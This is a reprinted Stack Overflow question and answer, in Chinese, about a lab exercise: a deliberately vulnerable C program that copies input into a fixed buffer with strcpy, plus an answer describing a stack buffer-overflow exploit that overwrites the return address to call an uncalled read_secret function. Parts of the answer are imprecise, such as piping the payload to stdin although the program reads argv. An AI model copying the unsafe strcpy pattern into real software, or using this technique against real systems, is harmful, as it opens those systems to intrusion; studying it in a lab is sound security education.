gpt4 book ai didi

python - 缓冲区溢出攻击,执行未调用的函数

转载 作者:太空宇宙 更新时间:2023-11-03 21:08:11 25 4
gpt4 key购买 nike

所以,我试图利用这个具有缓冲区溢出漏洞的程序来获取/返回锁定的 .txt 背后的 secret (read_secret())。

vulnerable.c//此处没有编辑

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void read_secret() {
FILE *fptr = fopen("/task2/secret.txt", "r");
char secret[1024];
fscanf(fptr, "%512s", secret);
printf("Well done!\nThere you go, a wee reward: %s\n", secret);
exit(0);
}

int fib(int n)
{
if ( n == 0 )
return 0;
else if ( n == 1 )
return 1;
else
return ( fib(n-1) + fib(n-2) );
}

void vuln(char *name)
{
int n = 20;
char buf[1024];
int f[n];
int i;
for (i=0; i<n; i++) {
f[i] = fib(i);
}
strcpy(buf, name);
printf("Welcome %s!\n", buf);
for (i=0; i<20; i++) {
printf("By the way, the %dth Fibonacci number might be %d\n", i, f[i]);
}
}


int main(int argc, char *argv[])
{
if (argc < 2) {
printf("Tell me your names, tricksy hobbitses!\n");
return 0;
}

// printf("main function at %p\n", main);
// printf("read_secret function at %p\n", read_secret);
vuln(argv[1]);
return 0;
}

attack.c//待编辑

#!/usr/bin/env bash
/task2/vuln "$(python -c "print 'a' * 1026")"

我知道如果我打印足够大的字符串,可能会导致段错误,但这对我没有任何帮助。我试图通过覆盖堆栈上的返回地址来让程序执行read_secret,并返回到read_secret函数,而不是返回到main。

但是我被困在这里了。我知道我必须使用 GDB 来获取 read_secret 函数的地址,但我有点困惑。我知道我必须将 main() 地址替换为 read_secret 函数的地址,但我不确定如何替换。

谢谢

最佳答案

如果您想通过缓冲区溢出漏洞执行函数,您必须首先确定可能出现段错误的偏移量。在你的例子中,我假设它是1026。整个游戏就是覆盖eip(告诉程序下一步要做什么),然后添加你自己的指令。

要添加您自己的指令,您需要知道该指令的地址,然后在 gdb 中打开您的程序,然后输入:

x function name

然后复制地址。然后,您必须将其转换为大端或小端格式。我用 python 中的 struct 模块来实现。

import struct
struct.pack("<I", address) # for little endian for big endian its different

然后您必须将其添加到二进制文件的输入中,如下所示: python -c“打印'a'* 1026 + 'the_address'”|/任务2/漏洞 #在 bash shell 上,不在脚本中

如果所有这些都不起作用,那么只需在偏移量中添加几个字符即可。可能会有一些你没有预见到的事情发生。

python -c "print 'a' * 1034 + 'the_address'" | /task2/vuln

希望能回答您的问题。

关于python - 缓冲区溢出攻击,执行未调用的函数,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/55261693/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com